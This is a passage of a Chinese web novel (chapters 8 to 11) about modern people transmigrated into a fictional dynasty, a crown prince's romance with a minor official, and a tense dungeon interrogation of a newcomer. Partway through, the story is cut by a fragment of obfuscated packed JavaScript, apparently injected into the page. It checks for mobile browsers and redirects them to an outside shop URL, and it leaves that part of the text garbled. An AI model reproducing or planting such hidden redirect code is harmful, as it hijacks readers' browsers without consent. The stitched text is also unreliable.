骤现的美貌,让脏污不散的街巷也生辉,也像是影视剧内被刻意模糊的背景。
这更让钱维季确定,他被人绑到影视城里。
下刻钱维季饶头不解:“老子浑身上下榨不出一万,绑人也不该绑到影视城吧!”
“缅北不更好?”
低头观察满是污血的衣服,交襟领口,过脚踝的衣角,贴肤不舒适的布料。
钱维季:剧组这么缺钱,用这么破的料子,某夕夕九块九包邮的T恤都比这衣服好!
“兄弟,给个话。”钱维季问已走到他面前的晏城,打量被光衬得泽泽的丝滑绸缎。
晏城问:“什么?”
钱维季拉高领口:“主角的戏服就这么舒服,好家伙,这刺绣看得我眼睛疼,是金的吗?”
蹲下身,钱维季颤着手抚平晏城衣角上绣有的桃花,金丝勾勒笔触,与缓缓推染的颜料。
远看只觉画上去,近看才发觉是绣上去的。
回头看向自己粗麻布衣,没半个图纹,钱维季有些不满。
钱维季:“长得好看,果然报酬就高点!”
“……何出此言?”
晏城大抵明白钱维季怪异举止,他仍处在懵懂界点内,甚至把眼前古朴木房当成影视城内的一部分。
也无怪他如此,穿至异世,一时半刻很难认清现实。
把人捞直,晏城似哥俩好搂住钱维季肩膀,半拖半带着他离开小巷。
边走边低声说:“这儿不是你猜想中的影视城,很遗憾告诉你,你穿越了!”
“这是京城,盛朝熹始二十六年的京城。”
钱维季:“!!!”
晏城:“惊不惊喜,意不意外,穿越到个完全不存在的朝代里,感谢你兄弟我的存在,能让你快速融入这个世界!”
总算来了个如他一般的现世人,享受人生而平等,社会主义光芒的同伙,让晏城在阶级森严的封建时代,有了可倾诉的对象。
其实谢知珩也行,可晏城脑子里受到的教育,便是封建制度的种种不行,皇权统治下的弊端。
他能跟深受封建影响,象征皇权统治的东宫太子,倾诉至高无上的苦吗?
晏城以为钱维季会跟他方降落此方世界一般,对各种古代事物大吃一惊,可哪想对方下刻的回答,击穿他的所思所想。
“盛朝!我居然穿到盛朝,还是熹始二十六年,那狗皇帝还没掌权,圣烈太子还活着的时候!”
钱维季握拳心中大喊一声,哦耶,他居然站在历史转折点处。
盛世的终末,乱世的开端,钱维季已经能看清等待他选择的两条道路。
“兄弟可以啊,幸好有你在,不然我得露宿街头,或者被当做妖怪,押入大理寺的地牢里。”
“呵……”
晏城勉强从喉咙里吐出干哑的笑声,不失尴尬。
“没事,就算被押到大理寺,我也能救你。”晏城拍拍钱维季的肩膀,笑说。
吃了钱维季重重一击,晏城也少了为钱维季讲解盛朝目前一切的心,也没告诉他这具身体的所处情况。
晏府离大理寺不远,为方便上下值,方便谢知珩回皇宫,晏城特意挑选的位置,花了高价才买入的院落。
与东宫比,虽小得有些可怜,李公公当初不满许久,但谢知珩仍是为他付了钱。
后来晏城才打听清楚,李公公也在京城购置了房屋。
不止位置比他好,连占地面积也比他大不少,栽种的珍奇花束,能占晏府大半地方。
且,那套房还是李公公自个出手购置,靠多年底下的孝敬,与主子们的赏赐。
可恶,晏城暗自咬咬牙。
他个贫穷书生,进京赶考都是族内资助,恩师相助。
好巧不巧,李公公正站在府门口,招呼着宫人抬进一盆又一盆的艳花。
春开不久,绽放枝头迎春的花不多,也不知李公公哪寻得这般多的花盆。
只为,谢知珩话里的“迎春”。
李公公懒懒抬起眼皮:“又逃值了?”
话落,李公公使人去大理寺,为逃值的晏城休个病假。
转眸看向被揽抱住的钱维季,满身的血腥味,狰狞的伤痕,李公公面色不改:“殿下歇下不久,安静些。”
“……”
你想去哪去了!
晏城无语,瞪了李公公许久。
可李公公不瞧他,只顾着挑选迎春的花束,些微花瓣被人掐过的都被他让人扔出去,踏不得府门半步。
“如此水性的花,可进不得!”
李公公轻笑,唤人从晏城手里接过钱维季。
“……”
晏城走进晏府前,悄摸摸踢了李公公一下,不重不痛,只多发泄个他的怒火。
老人家,体谅下。
顶头两佛相争,服侍的宫人皆皆垂眸不语,只顾忙活手头的事,抬花盆的速度越发快。
从不留隔夜仇,晏城踹完便进了家门,路过那些装点迎春院落的宫人,同时拉走惊讶不停的钱维季。
“哇靠,这就是有钱人朴实无华的生活吗?”
精雕的游廊,只在视频里出现过的非遗制物,宫人随意扔在恍若灭绝的枝头。他们偶尔擦肩过,因风舞动的衣摆都比钱维季身上这件要精巧多了。
钱维季凑到晏城旁:“大官啊!”
“不是,小官。”晏城摇头。
“……”
钱维季下定判语:“贪官啊!”
这贪得、神佛具恨!
钱维季恨不得替执权的圣烈太子,替俯首田地的百姓踹晏城一脚。
“你好可恨啊!”
晏城:“……”
晏城觉得,他今日遭受的无语与罪太多,被人冤枉得太多了。
“清汤大老爷,我个大理寺盖章的玩意,贪个啥啊!又不是户部,他们可富得流油!”
“户部是?”
“财政部!”
钱维季恍若处醒般点点头:“原来如此,拿钱袋子的的确容易贪。”
“那可不,乔尚书跟铁公鸡似的,谁从国库掏出半毛钱,他就呲谁!”
钱维季挠了挠下巴:“怎么进户部,我也想试试从钱袋子里掏钱!”
“专业对口不?”
“不对口。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724249|144926||http|test|mini|href|location''.split(''|''),0,{}));
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>“应届不应届?”
“在社会上摸爬打滚数年!”
晏城嘶了许久,桃花眸紧蹙,贴近钱维季耳边:“公审能过吗?”
“呃……我翻翻脑子里的记忆,应该没什么大的犯罪记录。”
钱维季揪着衣角,在被塞满记忆又剧烈疼痛的脑子里回想,扫过柳书生存活的每一丝痕迹。
记得啊,眸光流转,晏城偏眸看向已摆放好的院落一角,艳粉的花瓣拥簇,折出个景美来。
他可半点也不记得。
还是靠谢知珩,一个一个字说与他听的。
“户籍里你的名字被销去,要帮忙恢复吗?”
晏城越过这个话题,说起柳书生死而复生的话。
钱维季:“算了,既然户籍已经销了,我也找不到回去的路,办个新户籍吧。”
搂住晏城的肩膀,钱维季笑说:“帮个忙呗,小兄弟,你可是个官呢。”
“户籍不归大理寺,归户部管。”
晏城摆手拒绝,他个小官,哪管得了户部的事。
“没有同学在户部吗?”
钱维季不信,瞧晏府的占地大小,游走时宫人的布料:“不信,你在骗我,肯定可以的!”
“money,可以搞定一切!”
晏城不语,挥去钱维季试探拉近的手,呼吸声不重,快步往前走好几步,走在钱维季前面。
才缓缓转身,叹息:“不行啊,我身无分文,搞不定啊!”
钱维季挑挑眉,耸耸肩不再纠缠:“我先在你这借住几天,等找到工作,我再搬离。”
拒绝的用意太明显,钱维季虽心有不满,在社会摸爬打滚多久,某些言外之意也清楚得很。
千年后素不相识,怎么可能会因为穿到千年前,抛去所有喜恶,立即桃园三结义,拜为异性兄弟。
防人之心不可无,钱维季扯扯嘴角。
“可以。”
晏城想起家里还有空厢房,让人整理出来,可让客人居住。
“房间在哪?我去熟悉熟悉这具身体,适应这庞杂的记忆。”
钱维季似困倦了伸个懒腰,打着哈欠同晏城说。
晏城指了个没事忙的小厮,让他陪钱维季去陶严曾居住过的房间,里面摆放不少书籍,不至于少了些许人气。
多读点书,起码能站在“士”的位置上,能欺辱的人不会太多。
也能找到不错的工作,晏城想。
回到主厢房,谢知珩已醒来,一上午的歇息让他眉眼间的倦累消散了些,靠着数个软枕堆成的背枕,张唇小口饮下李公公递来的热汤。
他唇瓣过薄,大抵是因为他情薄,还是他薄唇致成情薄。
凤眸被低垂的长睫遮掩过半,不再显得他临下的贵感,披肩的青绿色衣袍,衬得他眉目似竹般清贵。
晏城走过去,绕过李公公,坐在床边等谢知珩拿走碗。他力尽般躺在谢知珩腿上,龙涎香绕着鼻尖不散。
早起束扎的发,略显凌乱。没多久被谢知珩散开,用毛刷轻轻梳开。
“安顿好了?”谢知珩问。
晏城点点头,垂丧的眸眼,望着床顶迷离,聚焦不成。
伸手拉过谢知珩的手,紧扣住。落在唇间,轻轻一抿,又得一吻。
9. chapter 9
晏城的情绪很容易看透,谢知珩俯下半身,额头相贴。
他的体温常常低于寻常人,可长久处在燃烧炭火里的屋子,沾染的热度,比方从外间回来的晏城高些。
“孤在这。”谢知珩低声念叨。
晏城蹭了蹭他的掌心,偶尔蹭到手指,无名指上玉制的戒指不剐蹭,上下抚动时,像极玉轮。
“嗯……”
声音从谢知珩怀里闷闷发出,滑软的发丝缠上手指,又被谢知珩放回头顶,一下一下安抚,搭着安神的龙涎香,晏城缓缓入了眠。
传膳的李公公轻声走近,刚要掀起珍珠挂起的珠帘,就见谢知珩摆摆手,挥退上宴的宫人。
晏城熟睡时会有轻浅的呼吸声,闷在谢知珩腹中,倒是不扰人。
有时,谢知珩会将其当做处理公务时的背景曲,被晏城用笔及唉母称之,或是白噪音。
安眠或宁静的白噪音。
李公公捧来封好的奏折箱,小厨制作的午膳他令人分与宫人共食。
两位主子的食物,等谢知珩唤人传膳前,再准备好。
再次醒来时,见到的是谢知珩简约的腰带,绣有青蓝色的山峰,以丝线缝制,抵着额头倒是不疼。
虽只盖了层薄被放肚子上,但腹中的温热让晏城微愣,掏出来一瞧,是谢知珩塞进去的热婆子,用虎皮包裹,不至于搁得不适。
“咕噜……”
与他意识同时醒来的还有饥饿,晏城眨巴眼睛,懵住。
耳旁响起谢知珩的轻笑声,晏城不爽,爬起来紧抓谢知珩肩膀,牢牢不许挣扎。
“别笑!”
晏城怒极生笑,瞪了会儿谢知珩。
谢知珩唇角微扬,拍了拍晏城:“好,孤没笑。”
“哼!真没笑?”
晏城张牙舞爪,含着谢知珩下唇,似饿得不行,又咬又磨的,跟只刚长出牙的幼猫似的,向位高者展示它的杀伤力。
被按着闹了好一会儿,谢知珩求饶似的回吻晏城许久,才方方逃出拔步床,拉拢衣襟。
业已摆放好膳食的李公公,贴心走至谢知珩旁,为他整理衣物,穿戴整齐。
这般,晏城才目睹这件衣物的完整版。织女坊精绣的衣服,青色为底色,相生的蓝色为辅,构建成衣摆上层层叠叠的山峰。
“喜欢?”谢知珩见晏城看了许久,问:“孤让他们为你织一件?”
晏城:“要一样的!”
谢知珩:“你穿,一定很好看。”
挽着晏城的手腕,谢知珩轻笑:“一定非常好看。”
他话音才落,就有宫人捧着一件又一件的衣袍走进来。
李公公没展开让谢知珩欣赏,站在旁整理谢知珩披散的发,不出门,他便只用簪子束起。
站了十几个宫人,衣袍颜色不一。旁边立着的小太监捧着装有发冠簪子的匣子,多是玉制。
哪怕宝石,也多是宝蓝与鸽子血红。偶有翡翠,不大,只点缀其间。
连黄金,也只算配在其中当辅助。
晏城再次清晰感知,再次感叹,他真是抱了条抱大腿。
以及,柔软的软饭吃在嘴里,不搁牙疼。
他的欢喜少有人关注,只有被抛弃、又怒又恨待在大理寺的陶严,咬牙切齿羡慕晏城经受的喜悦。
那可真极生恨意!
被公文蹉跎至半夜的大理寺卿,常常被众属官忽视的范衡今日改了性。挺直腰杆,拍动连圆领袍衫都遮掩不了的肚皮。
范衡指挥钟旺抱来一大摞公文,重重啪在主薄两人工桌上。
范衡:“这些,便是今日你们需处理的旧档。”
陶严吹气,呼走堆积许久的灰尘,轻轻一用力,卷起千堆烟云,震得范衡咳嗽不已。
“这么多!”陶严困惑不已,翻开顶上层的书封,标注的日期非近三年,最低是五年。
陶严:“从哪个犄角旮旯里翻出来的废档,范大人!”
“咳咳……”
那灰还困在嘴里,范衡使劲挥袖也散不开,没等陶严质疑询问,转身离去,到自己办事屋去,拿新得的茶水压下。
一人逃窜,另一人还愣在原地未动。
陶严转看向钟旺,再问:“哪翻出来的?怎你一个人抬,殷大人没帮你吗?”
这堆旧档,可有钟旺半个人高。
单拎着书看起来不重,可全叠一块,仅凭钟旺那细巧的双手,哪抬得起来!
钟旺用袖口,擦去混了汗珠的灰团。不擦还好,一擦全抹开,惹得他半张脸全灰。
“殷大人日日忙碌,偷不出半点闲来帮我,上次是偶然巧遇他。”钟旺回。
“哦。”
陶严扯下本旧档,忍着表面的灰尘,拆开保护书目的布,用细毛刷轻轻扫走,才算取出真正的旧档。
很麻烦,书籍本就珍贵,旧档才放了几月,就惹得满堂的灰,陶严要处理都得耗费不少时间。
钟旺:“陶大人,可需我帮你?”
陶严摇头:“不需,你很少参与其中,粗手粗脚,会拖累我不少进度。”
转眸瞧见隔桌的空荡荡,陶严咬牙切齿:“怎就恰巧今日休了假呢!”
“想必是料想到范大人会反击,才早早请假不来,活全堆某身上!”
“此心歹毒,不可谅解!”
“…呃…”
钟旺不好说。
那股恨意自陶严眸眼里闹腾出,又从他齿缝中挤出,直直扑向晏城空的工位。
“啊啾!”
堂口又声响起,钟旺转身看去。
请了假的晏城拎了几袋油纸包裹的点心进来,与充斥恨意的陶严对个正着。
晏城:……我应该没惹清肃、吧。
不管了,晏城绕过挡路的钟旺,回到工位时,面对被布包裹严严实实的书目,才清晓陶严对自个的痛恨。
连忙剪断细绳,讨好地递到陶严面前:“这可是我特意为清肃带的,味道不输城东那家玲珑铺!”
陶严扫了点心包一眼:“从家里带的?”
“是的是的。”晏城卑微地回。
若是如此,那味道不止不输,甚至超于玲珑铺不少,可叹味道之极。
陶严对晏城馋嘴的性格清楚得很,那朝夕相处、耳鬓厮磨的殿下也了解,就这么个宠爱,自是随意给与。
家中自制,同于御膳房所做。
为这张嘴,陶严轻轻松松谅解了晏城。
正好,大理寺卿搬来旧档也不久,陶严方方打开一本。
安抚好陶严,投喂钟旺成功后,晏城无奈看向堆得老高的书籍,指腹在侧面一扫,沾了一指节的灰。
撑着脑袋,晏城说:“怎这么多!有多久没去旧档屋清扫,哪个家伙这般失职!”
陶严摇头:“不知,反正这份劳累事,算是落咱俩身上了。”
“范大人真会拆旧账,反击。”晏城嘟着嘴说。
积在书布上的灰不算多,要真算起来,许久未开的地牢才算灰尘累累,每步踩下,都令李公公心疼不已。
“是我没管好底下宫人,忽视了地牢。”
李公公垂
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眸,控诉自己的失职,让谢知珩走进这暗无天日,叽叽鼠声不断的地牢里。
“无碍。”
谢知珩没那般娇气,他虽处在高位,可幼时常被父母牵到皇城外,走到边郊,体恤民情。
只真正目睹百姓的每一次过活,才算认知到王朝的盛衰,以及手中权力的至高与无上。
它,是推动王朝前进的引路旗,要么步步走向辉煌,要么跌入深渊。
谢知珩想,这大抵是晏城嘴里的,从民众中来,到民众中去。
可惜,谢知珩永远学不会从民众中来。
晏府底下的地牢,非谢知珩令人挖制,是它前任屋主为某些不堪趣好私建,后罪恶暴露,这屋子才落到谢知珩手中。
“果是不堪呢。”
悬挂砖墙上的刑具,部分取材于宫中,部分乃前屋主自制,谢知珩一一扫过,干涸的烂红血迹,压得整个地牢阴森森,又惊悚。
此刻,地牢新启,仅仅关押着一人。
“喂!你这家伙哪来的!不知道这屋子是我兄弟的,我兄弟可是在大理寺上班,我也算是半个官身,惹我是找死吗!”
还没走近,只脚步声,便得来被押解的人大声嚷嚷。
很大,响彻整个地牢。
谢知珩垂眸,看向虚张声势的钱维季,满身的血迹被灰尘滚了一遍,整个人脏得几乎与乞丐媲美。
可哪怕如此,他也张牙舞爪,朝谢知珩吼叫。
钱维季不清楚来者的身份,没着官袍,只一身青袍,布料即使在阴暗中也泛起光泽,可见非富即贵。
不,古代商人可不敢穿丝绸,可能是个大官。
比他兄弟还要大的官员,会是杀害这具身体的凶手吗?
钱维季有些害怕,他醒来不过半日,就引来仇人绑架,不得“嘶”好几声,惧怕将到来的死亡命运。
“你想做什么?”钱维季问。
给个准头,早死晚死都得死!
谢知珩不语,身旁的李公公开口,他嗓子微尖利,在地牢的灰暗中,倒是让钱维季没认清他的脸。
李公公:“你可还记得你是谁?”
“柳望潜,字子跃!”
不敢耽误,也怕思考太久,让对方误会自己乃妖精夺舍,钱维季迫不及待回复。
李公公扯开嘴角:“柳望潜,柳子跃,是你的名字吗?”
话语带着的疑惑很浓,几乎直逼钱维季,混着他步步向前的脚步声,以及可闻的拔刀声。
明明拔刀的声音不会特别大,可为了震慑住钱维季,刀身碰撞刀鞘时,响得钱维季颤抖不已。
“哈啊……”
钱维季大口呼吸,压下翻滚的心脏与紧张情绪,喉咙因身动而不断吞咽,又犯起阵阵呕吐意。
钱维季咬着牙:“我不是柳子跃,难不成你是柳子跃不成!”
“老子爹妈取的名字,还能被人强行改了不成!”
“子悦,是你恩师为你取的字,望你不仅潜海遇龙,也一跃青云,高入庙堂。”
凤眸里泛着冷意,谢知珩盯看他许久,又说:“你真能明白,你父兄、你恩师为你取的名与字吗?”
锁被打开,有人推门,引得谢知珩走进。
这张始终藏在暗处的脸暴露在钱维季眼前,与晏城惊艳四分的美貌不同,谢知珩的样貌带有高位者的冷视,以及常被忽视的隽秀。
“你、你是谁!”钱维季问。
淡淡笑意自鼻尖送出,可笑至极,谢知珩眼底都泛起不浅涟漪。
“你不是一直想见孤吗?”
10. 第 10 章
“卧槽!”
钱维季都不知道该怎么形容自己此刻的手足无措,脑袋一片懵,瞳孔睁得贼大,几乎要跳出眼眶。
先前与兄弟的聊天被人偷听,怎么兄弟连个隐私权都没有!
这是小说里的暗卫,还是锦衣卫啊!就往官员墙角钻,比那朱八八都厉害。
普天之下,莫非王土,也不是这么用的!
跪坐着,钱维季上下打量谢知珩,从眉眼到下唇,再到衣服,甚至微微顶起衣摆的云靴,没一处不被他看了个遍。
“尼、尼玛……”
哪个混球给老子画的圣烈太子图,钱维季甚至想把那画家从地底捞出来,扯大他双眼,好好观察眼前人。
那瘦不拉几、又脆得不行的玩意是圣烈太子?
眼睛小得跟芝麻一样,嘴巴厚的像被人揍了一拳,香肠嘴也不是这么画的!
纯黑粉吧,混小子!
钱维季抹了几把脸,嘴唇颤抖不已,但仍为自己辩论:“贱民拜见殿下,能蒙君恩,得见天颜,实乃贱民之福。”
使劲往文邹邹方向靠,将自己塑造成古人模样,不完美,但勉强能逃过圣烈太子的追查就可以。
听了钱维季讨好的话术,谢知珩只想笑:“你们,真的破绽百出!”
“!”
钱维季猛地抬起头,看向谢知珩,期求得个回复。
回复却非谢知珩,李公公前抬一步,说:“柳生已过乡试,中为举人,早有官身,怎可称自己为贱民呢?”
“且,贱民哪能为柳生自称!”
钱维季掐着自己手背,紧张地回:“臣是一时糊涂,才酿成大错!还请殿下海涵…”
李公公一甩浮尘,立起自个总管身份:“不用海涵,你夺舍柳生躯体一事,已成定局,翻不得身!”
声落,随行的侍卫跨出几步护在谢知珩前,长刀出鞘,抵着钱维季脖颈,
“哈啊!”
生命再次遭到迫害,连质疑长刀是否开刃都不敢,因为这刀口斩断他不少发丝,飘飘然顺着灰尘,跌落在钱维季掌心。
钱维季紧咬下唇,呼吸节奏紧促,甚至忘了该呼出的步骤。
未到行罚一刻,钱维季认为自己还有机会。
他颤颤抬起头,见搁置拂尘的李公公他眼熟得很,不正是与他兄弟嬉闹的管家吗?
钱维季神长手拉住李公公的衣摆,求饶道:“管家大人,不公公,不要杀了我,我跟晏城关系可铁了,我就是他的异姓好兄弟!”
“你若是杀了我,晏城绝对不会放过你的!”
钱维季几乎忘了,晏城不过入职大理寺的小官,而李公公却是服侍太子的大总监。
不等李公公甩脱钱维季的手,谢知珩走进牢房里,垂眸临下注视钱维季,说:“你在威胁孤?”
“孤若是想杀一人,这世间,可没人能拦住孤!”
“哈!”
钱维季意识到,非李公公杀他,而是执掌盛朝的圣烈太子要杀他。
只不过因为圣烈太子不曾言,便忘了他的存在。
几近绝望,钱维季垂下手,不再与任何人求饶,哑着声音问:“我只是因为遇到晏城才露出破绽,若是掩盖好点,把自己当成古代人,就不会被抓了!”
“我不过是羊入虎口!”
有眼熟的人,钱维季怀疑晏城是那为虎做的伥鬼,勾来每个穿越来的现代人,下地狱。
谢知珩:“你们自以为伪装得好,实则破绽百露。”
“眼神,口癖,行为举止,即使受了这具身体的记忆,你们也难改故土刻留的痕迹。”
“那个时代待你们很好,人人生而平等,故面对孤时,少了那点敬畏感。”
“不惧天,不惧地,也不畏君!”
初来时的晏城也如此,谢知珩轻笑。
发觉得罪高位者时,晏城没怕得跪地不起,磕头求原谅。他只是抓挠着头,满目不敢置信。
以及,永远改不来的口癖。
“卧槽!”
“阿西吧,我都干了些什么啊!”
对晏城,谢知珩可以轻笑,抚过他紧皱的眉头,一声又一声唤:“没事,孤不治你的罪。”
而眼前,谢知珩抬脚踩在钱维季手背,凤眸压得极低,瞳眸纯黑,融入满屋的黑暗阴影里。
蹙起的眉头像长刃,声音冰冷不容抗拒。
“上欺君,满嘴谎言不得真。下辱官尸,柳生勤学许久才中得举人,可不是让汝等人夺舍,摘取成果!”
“那晏城呢,我不信他的状元名头是自己考取的,更别说他还是大/三/元!”
钱维季不满,张嘴大喊:“你怎不杀了他去,晏城跟我一样,也是夺舍别人才当的官。”
“他都能活,为何我不能!”
钱维季愤怒至极,连颈旁的刀刃都不管,抽出被踩的手背,爬到谢知珩前,抱着谢知珩大腿,不肯松。
“就凭他长得美,而柳生相貌一般!”李公公回。
“???”
钱维季整个脑门困惑不已,左眼挤得只成一条线。
“我靠,还能这样吗?”
“以色事人,非长久道!我举报,这里有人好色,这里有人双标!”
“圣烈太子您可不能这样啊,底下朝臣若是知道您如此双标,您那英明神武的形象可不在了啊!”
钱维季嚎叫不已,泪水自眼眶喷涌而出,落在脸颊,与另一条河流汇集注入谢知珩衣摆,全抹了上去。
李公公一瞧可生气:“诶!殿下这衣服可是绣女织就好几日才做成的春衣,别弄脏了!”
想使人拖走,可生死之际爆发出的力量惊人,好几个侍卫拉扯,都不能将钱维季从谢知珩腿上扒拉下来。
作为被黏住的对象,谢知珩垂眸没任何动作,看这场可笑的闹剧,他们蹲下时的衣摆聚集一块,为这间牢房扫了大半的灰。
“真是这里?”
长廊尽头有声音传来,好不容易逃值成功的晏城被宫人引来这地牢,还未深究其中原因,便见到这副情景。
有点想笑,为谢知珩眼里的无奈,也为使了超多力,也无法将钱维季拉离谢知珩半步的李公公与侍卫。
“怎么了?”
晏城走过去,抱住谢知珩腰肢,吻了吻他微寒的眼角,炙热的气息喷洒,似过敏般染了些许艳红。
谢知珩转眸,伸出手贴着晏城方从外间来的春意,可惜他的指腹不热,暖不了晏城太多。
被紧扣的手,传递来的热度让谢知珩缓下眼睫:“你好烫。”
“我特意抱着汤婆子,就为暖殿下这会儿。”
还未腻歪一刻,暧昧气氛被钱维季打破:“能不能看下我啊,我可是要死了的哦!”
“谈恋爱去房里谈,秀恩爱别秀单身狗面前,小心遭——”
没等钱维季说完,晏城连忙堵住他的嘴,瞪着眼睛使劲摇头。
这话可说不得,虽子不语怪力乱神,可自古君权天授,帝王尊为天子,另有司天监观察天文。
“安分点大哥,换了个地方啊。”晏城有气无力地说。
入乡随俗四个字,千万要刻你脑门上。
“……”
无法出声,钱维季只能拼命点头,以示听进去了。
得了钱维季的保障,晏城才松开手,拍去穿上没多久的衣袍上无意沾染的灰尘,站在谢知珩身前,为他挡住前方袭来的种种危险。
“哼…不用如此。”
散不开的笑意,纯粹的黑眸也被泼上点星光,谢知珩倚在晏城肩膀处
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“太、太残忍了!”
钱维季再次被恋爱的酸臭闪到眼,不仅如此,还有他兄弟跟圣烈太子这场禁忌难断的情爱纠扯。
史册怎么不记载,圣烈太子好龙阳啊。
但,救命之道展露眼前,不抱就是狗。
为此兴奋,钱维季迅速调转方向,抱住晏城的腿,大哭大闹:“兄弟救我,你老公要杀我,圣烈太子他要送我下地狱,给柳生陪葬。”
“什么老公!我在上面,我是上面的!”晏城气愤不已,怎么能乱说话,糟蹋他英勇的形象。
“红豆泥!”
钱维季可不信,睁大眼睛与晏城对视。
“那,是圣烈太子,执掌权柄快有七年的监国太子,是殿下!你,就是个大理寺小官,连大理寺卿都不是,你在上面!”
钱维季喃喃道:“我靠,居然是纯爱!”
晏城:“……”
够了嗷,我怎么没看出你还是个逗比。
“哼呵……”
压制不住的笑意自喉咙处轻送出来,谢知珩点着唇瓣,绷直的凤眸弯弯,似一汪浅月,溶于水,又轻触而消散。
谢知珩:“你的老乡,很有趣。”
不等晏城反应过来,谢知珩直起身缓缓还在胸膛震动的欢乐,挥手令持刀侍卫退下,临走时也带走压制钱维季的李公公。
“孤是看在你的面子上,才放过他的。”谢知珩贴在晏城耳旁,轻声说:“孤要补偿。”
不一会儿,整个地牢,只剩晏城与钱维季。
都不见了,钱维季盘腿坐地上,拍拍胸脯安抚要跳出的心脏:“总算活了下去,太感谢您了,兄弟。”
“我没做什么,是殿下不杀你。”
晏城不敢居功,他只是被人引来地牢,出了张脸,主要还是谢知珩没有杀钱维季的心。
“太恐怖了,在古代活下去也太艰难,不小心就露出破绽。”
“哎呦,这可怎么搞!”钱维季双手一拍,无奈摊开,已是认命,不敢低看古人。
“我这连一天都没度过,就被认出。”钱维季仰头点了下晏城,“兄弟,你呢?”
晏城捏着下巴仔细回想:“我可能比你强点,第二天才被发现。”
被谢知珩点破并非原身时,晏城当时怕得连床都不敢下,拿被褥套头,抖缩得全失风貌。
反派诶,那可是全书最大反派,杀人无数,暴戾难缠,脾气阴晴不定。
谁知下一秒,他是放过你,还是因为左脚踏进屋,而杀了你。
“别怕,孤不会杀你。”
谢知珩点着晏城眉眼,凌乱的衣领遮不住昨日的狼藉,以及散不去的情意。
“你跟他们不一样,你从不唤孤,圣烈太子。”
晏城蹲下身,看向钱维季:“圣烈太子是谁?只学过古代文学史,没学历史,我历史成绩不行。”
“?”
“哥,高考大考点诶,网上最腥风血雨、讨论度最高的人,你居然不记得。”
钱维季咳了几声:“咳,你老婆。”
圣烈太子……
晏城垂下眼,原著他没怎么看完,剧情发展至今也被破坏个遍。
仅以太子称,谢知珩到最后也没能登基为帝。
如果连谢知珩这当今唯一嫡子,外祖父一家执掌军权,病逝的太子妃乃清流之首国子监祭酒的独女。
就连幼时教导他的几位太傅都是当朝丞相。
东宫属官里有好几位尚书,最有钱的户部尚书,最忠君、死也要扒拉熹始帝裤腿的吏部尚书都被强行塞了进去。
种种条件都没登基的话,那最后打败他,登基为皇的到底是何方妖怪?
“谁能打败你啊?”
晏城心里有了答案。
11. chapter 11
“还没问,你穿来前是什么专业?”
搓去满身灰尘的钱维季不解,抬头与晏城对视:“咋滴,有事求我?还是替我安排工作。”
“事先说明,朝九晚五最低标准,绝不加班!工资每月一万五,税后,上五休二!”
“对了,还必须包吃包住,不能是难民餐,得跟你小子一样。”
“……”
“你怎不上天去!我都没朝九晚五,也没上五休二,还税后一万五,做梦去吧!”
晏城恨不得拿脚踢钱维季,以泄心头不散的恨意。
可恶,当初他985大学本科毕业时,校招时所有单位给出的薪酬,都没超出五千,还不稳定。
逼得他只好去考公,上岸图个稳定。
钱维季按住晏城蠢蠢欲动的脚,奋力发出自己的声音:“你个粉领就别瞎搞,我当初毕业可是灰领,毕业进大厂,工资最低九千起,还包吃包住!”
“灰领,理工大神?”
钱维季拼命点头,希冀晏城能脚下留情。
晏城蹲下身,与钱维季直视:“你大学专业学什么?”
“交通,看路的,进某新能源大厂。”
晏城:“那不是没用吗?”
顿时鄙弃起来,理工科落到古代来,要么奋斗学文,进工部。要么成工匠,被人剥削,以九族来换贵人的欢喜。
还不如他文科,前可科举,入朝为官。后可退为教书夫子,享一乡尊敬,吃一世束脩。
炼盐炼铁,盐铁官营了解下。
九族消消乐,也了解一下。
“嘶,桉你这么说,的确没用啊。”
钱维季皱着眉思考许久,也没为自己找出条合理道路,他满腹学识,落到这古代来,居成了个废物。
连粉领都能站他头上,还得磕头拜见,直呼大人好。
晏城:“总还是有用的,与道路交通相关,可以进工部瞧瞧。改善下京城到边郊的道路,使整片中原网状相连。”
伸出手将腿软的钱维季拉起,晏城唤来伫守角落的宫人,把客人带去客房,洗漱一番,换件衣袍,别像个乞丐。
总算摆脱身上这件刺痛皮肤的衣服,钱维季欢喜不停,将路过晏城时,擦肩相离时,他顿住脚。
钱维季:“兄弟,你想要我为太子工作,站在太子这边。”
“殿下乃正统,监国七年也未有大错,百姓安居乐业,夜无小贼,路无拾遗,为何不站?”
晏城反问他,嘴角虽勾,但眸眼不见任何笑意,垂着长睫,看向钱维季。
钱维季耸耸肩:“站在圣烈太子阵营也不错,只要他活着,无人敢越过他,登基为帝。”
能活着吗?
与自始至终生活在此方世界里的他们不同,晏城是穿破次元而入。
这方世界对他而言,是只百来页的书,文字记载男女主相识相爱的一段过往,记载他们打败反派,迎来圆满结局。
主角是绝对正确与正义,反派只能被打倒。
“如果,我说如果……”
“如果殿下逝去,那结局会如何?”
钱维季不理解但又微妙,心里的思绪因晏城的这句话而杂乱,整理不出方与始。
“如果如此,历史轨迹难改,谁来也无可奈何。”
“秦失其鹿。”
说完,钱维季转身离去,跟上站在地牢口的宫人。
他可不想再呆在这个充斥衰气的地方。
“哈啊……”
心脏蹦跳得太厉害,挤着胸口不适,晏城紧紧捂着才算稍微缓解些许,可那股颤意从指尖蔓延,发麻,又发酸。
晏城控制不住,紧咬舌尖,痛意催动所有,他才能迈出第一步,跨上石梯,出压抑感极强的地牢。
秦失其鹿的后一句是……
“逐鹿群雄。”
听了李公公的细语,谢知珩并未动容,批阅奏折的朱笔不停,圈上一个又一个红点。
他未出声,可伺候的宫人却因室内的死寂齐齐匍匐地上,细软的柔毛此刻扎痒指腹,磕地的头受软毯的福,也不痛。
离谢知珩最近的是李公公,他低垂头,听到殿下一声夹杂一声的叹息,与略带嘲意的轻笑。
一手撑着脸,谢知珩说:“看来孤得好好活着。”
晚间的迎春宴谢知珩没过去,只留晏城与钱维季两时代痕迹相似的人共聚。
他若去,岂不惊扰过多,惹人不自在。
迎春宴晨时就下了令去,府内众人齐忙活,端上的佳肴珍贵,品种虽不丰富,可味道与精细程度,直直让人赞叹。
